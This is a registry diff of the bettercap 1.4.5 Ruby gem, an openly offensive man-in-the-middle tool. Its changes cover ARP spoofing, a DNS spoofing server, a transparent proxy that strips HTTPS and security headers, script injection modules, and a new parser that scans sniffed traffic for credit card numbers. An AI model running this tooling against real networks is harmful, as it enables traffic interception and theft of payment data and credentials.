bettercap 1.4.4 → 1.4.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: b09b6f89c9024dc03bf63ddb24f8ad26456b1908
4
- data.tar.gz: d146f66dec58665f9105006e95578f713602f7bd
3
+ metadata.gz: 36c1b50612037538a301084dd6780fbbe25ce5c8
4
+ data.tar.gz: 24c4fea056b5f2c2a8be6520ddb1f81895d7630a
5
5
  SHA512:
6
- metadata.gz: c95f936850a53d62bb97c0a02ab97db7e5ca79ef03659f623a07bca4320ffa6202ab4369c3f9de34dd7495ed85878de22f13de335ce4d742582f34974a721e6c
7
- data.tar.gz: d3c9765216d535380dfb0693b32755148d755af129fa3fcd2adb0cae020b79d112c30a11c4b24e26af9de2b56166756c454cdb500e7d59532bb184256f6c1962
6
+ metadata.gz: 1d0d3cf857d16c39ec4da7bb37a00892397050b5f2ff4f37227c7a9ba2af0f40f07cf0869064fe90a609bcd838bee85d3df1d5805f43223b8a853d5158dc17f6
7
+ data.tar.gz: 930097cd8f7103cefaa4f5e79feedbe0adbab02cccd7c4705d7c5d72a1b3146ae3e6f91be1a13e246ae258516b57117da5c05cf867d07a20279e236948a88c2b
@@ -35,9 +35,6 @@ class Context
35
35
  attr_accessor :httpd
36
36
  # Instance of BetterCap::Network::Servers::DNSD class.
37
37
  attr_accessor :dnsd
38
- # Instance of Proxy::SSL::Authority class used
39
- # for the HTTPS transparent proxy.
40
- attr_accessor :authority
41
38
  # Set to true if the program is running, to false if a shutdown was
42
39
  # scheduled by the user which pressed CTRL+C
43
40
  attr_accessor :running
@@ -71,11 +68,9 @@ class Context
71
68
  @gateway = nil
72
69
  @gateway_mac_resolved = false
73
70
  @targets = []
74
- @proxy_processor = nil
75
71
  @spoofer = nil
76
72
  @httpd = nil
77
73
  @dnsd = nil
78
- @authority = nil
79
74
  @proxies = []
80
75
  @redirections = []
81
76
  @discovery = Discovery::Thread.new self
@@ -213,47 +208,17 @@ class Context
213
208
  def create_proxies!
214
209
  if @options.has_proxy_module?
215
210
  Proxy::Module.register_modules
216
-
217
211
  raise BetterCap::Error, "#{@options.proxy_module} is not a valid bettercap proxy module." if Proxy::Module.modules.empty?
218
212
  end
219
213
 
220
- @proxy_processor = Proc.new do |request,response|
221
- if Proxy::Module.modules.empty?
222
- Logger.debug 'WARNING: No proxy module loaded, skipping request.'
223
- else
224
- # loop each loaded module and execute if enabled
225
- Proxy::Module.modules.each do |mod|
226
- if mod.enabled?
227
- # we need to save the original response in case something
228
- # in the module will go wrong
229
- original = response
230
-
231
- begin
232
- if response.nil?
233
- mod.on_pre_request request
234
- else
235
- mod.on_request request, response
236
- end
237
- rescue Exception => e
238
- Logger.warn "Error with proxy module: #{e.message}"
239
- Logger.exception e
240
-
241
- response = original
242
- end
243
- end
244
- end
245
- end
246
- end
247
-
248
214
  # create HTTP proxy
249
215
  if @options.proxy
250
- @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_port, false, @proxy_processor )
216
+ @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_port, false )
251
217
  end
252
218
 
253
219
  # create HTTPS proxy
254
220
  if @options.proxy_https
255
- @authority = Proxy::SSL::Authority.new( @options.proxy_pem_file )
256
- @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_https_port, true, @proxy_processor )
221
+ @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_https_port, true )
257
222
  end
258
223
 
259
224
  @proxies.each do |proxy|
@@ -71,13 +71,13 @@ class Thread
71
71
  if diff[:new].empty?
72
72
  snew = ""
73
73
  else
74
- snew = "Acquired #{diff[:new].size} new target#{if diff[:new].size > 1 then "s" else "" end}"
74
+ snew = "Acquired #{diff[:new].size} new target#{diff[:new].size > 1 ? "s" : ""}"
75
75
  end
76
76
 
77
77
  if diff[:lost].empty?
78
78
  slost = ""
79
79
  else
80
- slost = "#{if snew == "" then 'L' else ', l' end}ost #{diff[:lost].size} target#{if diff[:lost].size > 1 then "s" else "" end}"
80
+ slost = "#{snew.empty?? 'L' : ', l'}ost #{diff[:lost].size} target#{diff[:lost].size > 1 ? "s" : ""}"
81
81
  end
82
82
 
83
83
  Logger.info "#{snew}#{slost} :"
@@ -49,7 +49,7 @@ class PacketQueue
49
49
 
50
50
  # Notify the queue to stop and wait for every worker to finish.
51
51
  def stop
52
- wait_empty( 60 )
52
+ wait_empty( 6000 )
53
53
  @running = false
54
54
  @nworkers.times { push(nil) }
55
55
  @workers.map(&:join)
@@ -30,7 +30,7 @@ class DnsWrapper < RubyDNS::RuleBasedServer
30
30
  # Instantiate a server with a block.
31
31
  def initialize(options = {}, &block)
32
32
  super(options,&block)
33
- @rules = options[:rules]
33
+ @rules = []
34
34
  @@instance = self
35
35
  end
36
36
  # Give a name and a record type, try to match a rule and use it for processing the given arguments.
@@ -48,31 +48,18 @@ class DNSD
48
48
  def initialize( hosts_filename = nil, address = '0.0.0.0', port = 5300 )
49
49
  @port = port
50
50
  @address = address
51
+ @hosts = hosts_filename
51
52
  @server = nil
52
- @rules = []
53
- @thread = nil
54
53
  @ifaces = [
55
54
  [:udp, address, port],
56
55
  [:tcp, address, port]
57
56
  ]
58
-
59
- unless hosts_filename.nil?
60
- DNSD.parse_hosts( hosts_filename ).each do |exp,addr|
61
- block = Proc.new do |transaction|
62
- Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
63
- transaction.respond!(addr)
64
- end
65
-
66
- @rules << RubyDNS::RuleBasedServer::Rule.new( [ exp, Resolv::DNS::Resource::IN::A ], block )
67
- end
68
-
69
- Logger.warn "Empty hosts file for DNS server." if @rules.empty?
70
- end
71
57
  end
72
58
 
73
59
  # Add a rule to the DNS resolver at runtime.
74
- def add_rule( exp, addr )
60
+ def add_rule!( exp, addr )
75
61
  Logger.debug "[#{'DNS'.green}] Adding rule: '#{exp}' -> '#{addr}' ..."
62
+
76
63
  block = Proc.new do |transaction|
77
64
  Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
78
65
  transaction.respond!(addr)
@@ -83,37 +70,35 @@ class DNSD
83
70
 
84
71
  # Start the server.
85
72
  def start
86
- Logger.info "[#{'DNS'.green}] Starting on #{@address}:#{@port} ( #{@rules.size} redirection rule#{if @rules.size > 1 then 's' else '' end} ) ..."
87
-
88
- @thread = Thread.new {
89
- options = {
90
- :listen => @ifaces,
91
- :asynchronous => true,
92
- :server_class => DnsWrapper,
93
- :rules => @rules
94
- }
95
-
96
- RubyDNS::run_server( options ) do
97
- # Suppress RubyDNS logging.
98
- @logger.level = ::Logger::ERROR
99
- @upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])
100
-
101
- # Default DNS handler
102
- otherwise do |transaction|
103
- Logger.debug "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}' -> upstream DNS"
104
- transaction.passthrough!(@upstream)
105
- end
106
- end
73
+ Logger.info "[#{'DNS'.green}] Starting on #{@address}:#{@port} ..."
74
+
75
+ options = {
76
+ :listen => @ifaces,
77
+ :asynchronous => true,
78
+ :server_class => DnsWrapper
107
79
  }
80
+
81
+ RubyDNS::run_server( options ) do
82
+ # Suppress RubyDNS logging.
83
+ @logger.level = ::Logger::ERROR
84
+ @upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])
85
+
86
+ # Default DNS handler
87
+ otherwise do |transaction|
88
+ Logger.debug "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}' -> upstream DNS"
89
+ transaction.passthrough!(@upstream)
90
+ end
91
+ end
92
+
93
+ unless @hosts.nil?
94
+ DNSD.parse_hosts( @hosts ).each do |exp,addr|
95
+ add_rule!( exp, addr )
96
+ end
97
+ end
108
98
  end
109
99
 
110
100
  # Stop the server.
111
- def stop
112
- Logger.info "Stopping DNS server ..."
113
- begin
114
- @thread.kill
115
- rescue; end
116
- end
101
+ def stop; end
117
102
 
118
103
  # Parse hosts from +filename+, example host file:
119
104
  #
@@ -142,7 +127,7 @@ class DNSD
142
127
  unless Network::Validator.is_ip?(address)
143
128
 
144
129
  begin
145
- hosts[ Regexp.new(expression) ] = address
130
+ hosts[ expression ] = address
146
131
  rescue RegexpError
147
132
  raise BetterCap::Error, "Invalid expression '#{expression}' on line #{lineno + 1} of '#{filename}'."
148
133
  end
@@ -76,13 +76,13 @@ class Target
76
76
 
77
77
  # Return a verbose string representation of this object.
78
78
  def to_s(padding=true)
79
- if padding
80
- s = sprintf( '%-15s : %-17s', if @ip.nil? then '???' else @ip end, @mac )
81
- else
82
- s = sprintf( '%s : %s', if @ip.nil? then '???' else @ip end, @mac )
83
- end
79
+ address = @ip.nil?? '???' : @ip
80
+ fmt = padding ? '%-15s : %-17s' : '%s : %s'
81
+ vendor = @vendor.nil?? " ( ??? )" : " ( #{@vendor} )"
82
+
83
+ s = sprintf( fmt, address, @mac )
84
84
  s += " / #{@hostname}" unless @hostname.nil?
85
- s += if @vendor.nil? then " ( ??? )" else " ( #{@vendor} )" end
85
+ s += vendor
86
86
  s
87
87
  end
88
88
 
@@ -111,7 +111,7 @@ class Target
111
111
  end
112
112
 
113
113
  def self.normalized_mac(v)
114
- v.split(':').map { |e| if e.size == 2 then e.upcase else "0#{e.upcase}" end }.join(':')
114
+ v.split(':').map { |e| e.size == 2 ? e.upcase : "0#{e.upcase}" }.join(':')
115
115
  end
116
116
 
117
117
  private
@@ -452,9 +452,9 @@ class Options
452
452
  def parse_custom_proxy!(value, https=false)
453
453
  raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network::Validator.is_ip?(value)
454
454
  if https
455
- @custom_proxy = value
456
- else
457
455
  @custom_https_proxy = value
456
+ else
457
+ @custom_proxy = value
458
458
  end
459
459
  end
460
460
 
@@ -56,7 +56,7 @@ class InjectCSS < BetterCap::Proxy::Module
56
56
  def on_request( request, response )
57
57
  # is it a html page?
58
58
  if response.content_type =~ /^text\/html.*/
59
- BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into #{request.to_url}"
59
+ BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{@@cssdata.nil?? "URL" : "file"} into #{request.to_url}"
60
60
  # inject URL
61
61
  if @@cssdata.nil?
62
62
  response.body.sub!( '</head>', " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head>" )
@@ -56,7 +56,7 @@ class InjectJS < BetterCap::Proxy::Module
56
56
  def on_request( request, response )
57
57
  # is it a html page?
58
58
  if response.content_type =~ /^text\/html.*/
59
- BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into #{request.to_url}"
59
+ BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{@@jsdata.nil?? "URL" : "file"} into #{request.to_url}"
60
60
  # inject URL
61
61
  if @@jsdata.nil?
62
62
  response.body.sub!( '</head>', "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>" )
@@ -15,10 +15,9 @@ module BetterCap
15
15
  module Proxy
16
16
  # Transparent proxy class.
17
17
  class Proxy
18
- # Initialize the transparent proxy, making it listen on +address+:+port+ and
19
- # use the specified +processor+ routine for each request.
18
+ # Initialize the transparent proxy, making it listen on +address+:+port+.
20
19
  # If +is_https+ is true a HTTPS proxy will be created, otherwise a HTTP one.
21
- def initialize( address, port, is_https, processor )
20
+ def initialize( address, port, is_https )
22
21
  @socket = nil
23
22
  @address = address
24
23
  @port = port
@@ -30,7 +29,7 @@ class Proxy
30
29
  @main_thread = nil
31
30
  @running = false
32
31
  @local_ips = []
33
- @streamer = Streamer.new( processor, need_sslstrip? )
32
+ @streamer = Streamer.new( need_sslstrip? )
34
33
 
35
34
  begin
36
35
  @local_ips = Socket.ip_address_list.collect { |x| x.ip_address }
@@ -26,7 +26,7 @@ class Server
26
26
 
27
27
  # Create an instance from the TCPSocket +socket+.
28
28
  def initialize( socket )
29
- @authority = Context.get.authority
29
+ @authority = Authority.new( Context.get.options.proxy_pem_file )
30
30
  @context = OpenSSL::SSL::SSLContext.new
31
31
  @context.cert = @authority.certificate
32
32
  @context.key = @authority.key
@@ -293,7 +293,7 @@ class Strip
293
293
  rescue; end
294
294
 
295
295
  unless links.empty?
296
- Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
296
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{links.size > 1 ? 's' : ''} inside '#{request.to_url}'."
297
297
 
298
298
  links.each do |l|
299
299
  original, stripped = l
@@ -311,7 +311,7 @@ class Strip
311
311
  original_address = IPSocket.getaddress( o.original_hostname )
312
312
  @stripped << o
313
313
  # make sure we're able to resolve the stripped domain
314
- @resolver.add_rule( stripped_hostname, original_address )
314
+ @resolver.add_rule!( stripped_hostname, original_address )
315
315
  rescue Exception => e
316
316
  Logger.exception(e)
317
317
  end
@@ -144,7 +144,8 @@ class StreamLogger
144
144
  # Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
145
145
  # with the +request+ and +response+ most important informations.
146
146
  def self.log_http( request, response )
147
- response_s = "( #{response.content_type} )"
147
+ response_s = ""
148
+ response_s += " ( #{response.content_type} )" unless response.content_type.nil?
148
149
  request_s = request.to_url( request.post?? nil : @@MAX_REQ_SIZE )
149
150
  code = response.code.to_s[0]
150
151
 
@@ -154,7 +155,7 @@ class StreamLogger
154
155
  response_s += " [#{response.code}]"
155
156
  end
156
157
 
157
- Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s} #{response_s}"
158
+ Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s}#{response_s}"
158
159
  # Log post body if the POST sniffer is enabled.
159
160
  if Context.get.post_sniffer_enabled?
160
161
  self.log_post( request )
@@ -15,9 +15,8 @@ module BetterCap
15
15
  module Proxy
16
16
  # Handle data streaming between clients and servers for the BetterCap::Proxy::Proxy.
17
17
  class Streamer
18
- # Initialize the class with the given +processor+ routine.
19
- def initialize( processor, sslstrip )
20
- @processor = processor
18
+ # Initialize the class.
19
+ def initialize( sslstrip )
21
20
  @ctx = Context.get
22
21
  @sslstrip = SSLStrip::Strip.new( @ctx ) if sslstrip
23
22
  end
@@ -55,14 +54,14 @@ class Streamer
55
54
 
56
55
  if r.nil?
57
56
  # call modules on_pre_request
58
- @processor.call( request, nil )
57
+ process( request )
59
58
 
60
59
  self.send( "do_#{request.method}", request, response )
61
60
  else
62
61
  response = r
63
62
  end
64
63
 
65
- if response.textual?
64
+ if response.textual? or request.method == 'DELETE'
66
65
  StreamLogger.log_http( request, response )
67
66
  else
68
67
  Logger.debug "[#{request.client}] -> #{request.to_url} [#{response.code}]"
@@ -84,7 +83,7 @@ class Streamer
84
83
  strip_security( response )
85
84
 
86
85
  # call modules on_request
87
- @processor.call( request, response )
86
+ process( request, response )
88
87
 
89
88
  client.write response.to_s
90
89
  rescue NoMethodError => e
@@ -95,6 +94,31 @@ class Streamer
95
94
 
96
95
  private
97
96
 
97
+ # Run proxy modules.
98
+ def process( request, response = nil )
99
+ # loop each loaded module and execute if enabled
100
+ BetterCap::Proxy::Module.modules.each do |mod|
101
+ if mod.enabled?
102
+ # we need to save the original response in case something
103
+ # in the module will go wrong
104
+ original = response
105
+
106
+ begin
107
+ if response.nil?
108
+ mod.on_pre_request request
109
+ else
110
+ mod.on_request request, response
111
+ end
112
+ rescue Exception => e
113
+ Logger.warn "Error with proxy module: #{e.message}"
114
+ Logger.exception e
115
+
116
+ response = original
117
+ end
118
+ end
119
+ end
120
+ end
121
+
98
122
  # List of security headers to remove/patch from any response.
99
123
  # Thanks to Mazin Ahmed ( @mazen160 )
100
124
  SECURITY_HEADERS = {
@@ -163,6 +187,13 @@ class Streamer
163
187
  end
164
188
  end
165
189
 
190
+ # Handle a DELETE request, +req+ is the request object and +res+ the response.
191
+ def do_DELETE(req, res)
192
+ perform_proxy_request(req, res) do |http, path, header|
193
+ http.delete(path, header)
194
+ end
195
+ end
196
+
166
197
  # Handle a POST request, +req+ is the request object and +res+ the response.
167
198
  def do_POST(req, res)
168
199
  perform_proxy_request(req, res) do |http, path, header|
@@ -0,0 +1,62 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ This project is released under the GPL 3 license.
10
+
11
+ =end
12
+
13
+ module BetterCap
14
+ module Parsers
15
+ # CC parser.
16
+ class CreditCard < Base
17
+ PARSERS = [
18
+ # All major cards.
19
+ /(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})/m,
20
+ # American Express
21
+ /(3[47][0-9]{13})/m,
22
+ # Diners Club
23
+ /(3(?:0[0-5]|[68][0-9])[0-9]{11})/m,
24
+ # Discover
25
+ /(6011[0-9]{12})/m,
26
+ # MasterCard
27
+ /(5[1-5][0-9]{14})/m,
28
+ # Visa
29
+ /(4[0-9]{12}(?:[0-9]{3})?)/m
30
+ ].freeze
31
+
32
+ def on_packet( pkt )
33
+ begin
34
+ payload = pkt.to_s
35
+ PARSERS.each do |expr|
36
+ matches = payload.scan( expr )
37
+ matches.each do |m|
38
+ StreamLogger.log_raw( pkt, 'CREDITCARD', m ) if luhn?(m)
39
+ end
40
+ break unless matches.empty?
41
+ end
42
+ rescue; end
43
+ end
44
+
45
+ # Validate +cc+ with Lughn algorithm.
46
+ def luhn?(cc)
47
+ digits = cc.split(//).map(&:to_i)
48
+ last = digits.pop
49
+
50
+ products = digits.reverse.map.with_index do |n,i|
51
+ i.even? ? n*2 : n*1
52
+ end.reverse
53
+ sum = products.inject(0) { |t,p| t + p.to_s.split(//).map(&:to_i).inject(:+) }
54
+ checksum = 10 - (sum % 10)
55
+ checksum == 10 ? 0 : checksum
56
+
57
+ ( last == checksum )
58
+ end
59
+
60
+ end
61
+ end
62
+ end
@@ -67,8 +67,6 @@ class Arp < Base
67
67
  raise 'ARP spoofer is not running' unless @running
68
68
 
69
69
  Logger.debug 'Stopping ARP spoofer ...'
70
- Logger.debug "Resetting packet forwarding to #{@forwarding} ..."
71
- @ctx.firewall.enable_forwarding( @forwarding )
72
70
 
73
71
  @running = false
74
72
  begin
@@ -81,11 +79,15 @@ class Arp < Base
81
79
  @ctx.targets.each do |target|
82
80
  unless target.ip.nil? or target.mac.nil?
83
81
  5.times do
84
- spoof(target)
82
+ spoof(target, true)
85
83
  sleep 0.3
86
84
  end
87
85
  end
88
86
  end
87
+
88
+ Logger.debug "Resetting packet forwarding to #{@forwarding} ..."
89
+
90
+ @ctx.firewall.enable_forwarding( @forwarding )
89
91
  end
90
92
 
91
93
  private
@@ -94,11 +96,11 @@ class Arp < Base
94
96
  # restore its ARP cache instead.
95
97
  def spoof( target, restore = false )
96
98
  if restore
99
+ send_spoofed_packet( @gateway.ip, @gateway.mac, target.ip, 'ff:ff:ff:ff:ff:ff' )
100
+ send_spoofed_packet( target.ip, target.mac, @gateway.ip, 'ff:ff:ff:ff:ff:ff' ) unless @ctx.options.half_duplex
101
+ else
97
102
  send_spoofed_packet( @gateway.ip, @ctx.ifconfig[:eth_saddr], target.ip, target.mac )
98
103
  send_spoofed_packet( target.ip, @ctx.ifconfig[:eth_saddr], @gateway.ip, @gateway.mac ) unless @ctx.options.half_duplex
99
- else
100
- send_spoofed_packet( @gateway.ip, @gateway.mac, target.ip, target.mac )
101
- send_spoofed_packet( target.ip, target.mac, @gateway.ip, @gateway.mac ) unless @ctx.options.half_duplex
102
104
  end
103
105
  end
104
106
 
@@ -106,7 +108,7 @@ class Arp < Base
106
108
  def arp_spoofer
107
109
  spoof_loop(1) { |target|
108
110
  unless target.ip.nil? or target.mac.nil?
109
- spoof(target, true)
111
+ spoof(target)
110
112
  end
111
113
  }
112
114
  end
@@ -32,7 +32,7 @@ class UpdateChecker
32
32
  def self.vton v
33
33
  vi = 0.0
34
34
  v.split('.').reverse.each_with_index do |e,i|
35
- vi += ( e.to_i * 10**i ) - ( if e =~ /[\d+]b/ then 0.5 else 0 end )
35
+ vi += ( e.to_i * 10**i ) - ( e =~ /[\d+]b/ ? 0.5 : 0 )
36
36
  end
37
37
  vi
38
38
  end
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
12
12
  =end
13
13
  module BetterCap
14
14
  # Current version of bettercap.
15
- VERSION = '1.4.4'
15
+ VERSION = '1.4.5'
16
16
  # Program banner.
17
17
  BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
18
18
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: bettercap
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.4.4
4
+ version: 1.4.5
5
5
  platform: ruby
6
6
  authors:
7
7
  - Simone Margaritelli
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-02-24 00:00:00.000000000 Z
11
+ date: 2016-02-29 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize
@@ -171,6 +171,7 @@ files:
171
171
  - lib/bettercap/shell.rb
172
172
  - lib/bettercap/sniffer/parsers/base.rb
173
173
  - lib/bettercap/sniffer/parsers/cookie.rb
174
+ - lib/bettercap/sniffer/parsers/creditcard.rb
174
175
  - lib/bettercap/sniffer/parsers/custom.rb
175
176
  - lib/bettercap/sniffer/parsers/dhcp.rb
176
177
  - lib/bettercap/sniffer/parsers/dict.rb